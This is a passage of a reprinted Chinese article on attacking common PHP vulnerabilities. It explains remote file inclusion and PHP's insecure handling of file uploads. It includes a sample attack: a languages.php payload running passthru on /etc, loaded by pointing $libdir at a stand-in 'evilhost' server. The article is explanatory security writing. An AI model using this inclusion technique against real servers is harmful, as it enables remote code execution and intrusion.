改变这个路径。但是攻击者并不能做任何事情，因为他们只能在他们指定的路径中访问文件languages.php（perl中的“Poison null byte”攻击对PHP没有作用）。但是由于有了对远程文件的支持，攻击者就可以做任何事情。例如，攻击者可以在某台服务器上放一个文件languages.php，包含如下内容：

　　<?php 
　　  passthru("/bin/ls /etc"); 
　　?>

　　然后把“＄libdir”设置为“http://<evilhost>/”，这样我们就可以在目标主机上执行上面的攻击代码，“/etc”目录的内容作为结果返回到客户的浏览器中。

　　需要注意的是，攻击服务器（也就是evilhost）应该不能执行PHP代码，否则攻击代码会在攻击服务器，而不是目标服务器执行，如果你想了解具体的技术细节，请参考：http://www.securereality.com.au/sradv00006.txt

　　[文件上载] 
　　PHP自动支持基于RFC 1867的文件上载，我们看下面的例子：

　　<FORM METHOD="POST" ENCTYPE="multipart/form-data"> 
　　<INPUT TYPE="FILE" NAME="hello"> 
　　<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240"> 
　　<INPUT TYPE="SUBMIT"> 
　　</FORM>

　　上面的代码让用户从本地机器选择一个文件，当点击提交后，文件就会被上载到服务器。这显然是很有用的功能，但是PHP的响应方式使这项功能变的不安全。当PHP第一次接到这种请求，甚至在它开始解析被调用的PHP代码之前，它会先接受远程用户的文件，检查文件的长度是否超过“＄MAX_FILE_SIZE variable”定义的值，如果通过这些测试的话，文件就会被存在本地的一个临时目录中。

　　因此，攻击者可以发送任意文件给运行PHP的主机，在PHP程序还没有决定是否接受文件上载时，文件已经被存在服务器上了。

　　这里我就不讨论利用文件上载来对服务器进行DOS攻击的可能性了。

　　让我们考虑一下处理文件上载的PHP程序，正如我们上面说的，文件被接收并且存在服务器上（位置是在配置文件中指定的，一般是/tmp），扩展名一般是随机的，类似“phpxXuoXG”的形式。PHP程序需要上载文件的信息以便处理它，这可以通过两种方式，一种方式是在PHP 3中已经使用的，另一种是在我们对以前的方法提出安全公告后引入的。

　　但是，我们可以肯定的说，问题还是存在的，大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件，比如说上面的例子：

　　＄hello = Filename on local machine (e.g "/tmp/phpxXuoXG") 
　　＄hello_size = Size in bytes of file (e.g&

上一页  [1] [2] [3] [4] [5] 下一页

在google里搜索更多如何对PHP程序中的常见漏洞进行攻击（上）

	Web www.51ec.org

上一篇信息学院： 用php做一个简单的表单

下一篇信息学院： 如何对PHP程序中的常见漏洞进行攻击（下）